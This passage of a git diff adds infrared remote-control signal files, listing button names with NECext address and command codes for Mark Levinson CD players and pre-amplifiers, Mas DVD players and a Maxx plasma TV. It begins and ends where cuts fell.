+address: 01 00 00 00 +command: 23 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: DISPLAY_INTENSITY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir new file mode 100644 index 000000000..182133ec3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: PAUSE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir new file mode 100644 index 000000000..c4c70c79f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 23 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir new file mode 100644 index 000000000..c5fc00e89 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: REWIND +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: PROGRAM_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 01 00 00 00 +# +name: PROGRAM_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: FAST_FWD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: STOP/DWR +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: REPEAT_DISC/TRACK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: A_--_B +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 15 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: POLARITY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: DISPLAY_MODE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: INTENSITY_/_STANDBY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2C 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir new file mode 100644 index 000000000..8161e45ef --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir new file mode 100644 index 000000000..5c9d4d5e2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: POLARITY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: DISPLAY_INTENSITY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir new file mode 100644 index 000000000..0628eacad --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: twodigits +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: noff +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: norm +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: mono +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: ps +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: store +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: hold +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: clocksub +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: double +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: reveal +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: update +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: mix +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: stereo +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: p100 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: sel +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: tx +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: syst +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir new file mode 100644 index 000000000..e364149e2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: V-MODEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: ITEM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir new file mode 100644 index 000000000..551752011 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: ITEM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PHOTO-MODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: NTSC/PAL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: SLOW-RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: SLOW-LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir new file mode 100644 index 000000000..9d31a0132 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 00 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 01 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 02 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 03 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 04 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 06 00 00 00 +# +name: pause/step +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 07 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 08 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 09 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0B 00 00 00 +# +name: KEY_2ch/multich +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0E 00 00 00 +# +name: skipbwd +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0F 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 11 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 12 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 14 00 00 00 +# +name: karaoke +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 15 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 16 00 00 00 +# +name: stop/return +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 17 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 18 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1B 00 00 00 +# +name: fastrew +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1C 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 40 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 41 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 42 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 43 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 46 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 47 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 48 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 49 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 4A 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 4B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 4D 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 4E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Maxx/Plasma/32,64.ir b/assets/resources/infrared/_CSV-IRDB_/Maxx/Plasma/32,64.ir new file mode 100644 index 000000000..d0881a935 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Maxx/Plasma/32,64.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 00 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Maxx/Plasma/96,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Maxx/Plasma/96,-1.ir new file mode 100644 index 000000000..33408156c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Maxx/Plasma/96,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 00 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 03 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 07 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 08 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0C 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0D 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0F 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 10 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 11 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 12 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 13 00 00 00 +# +name: COMP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 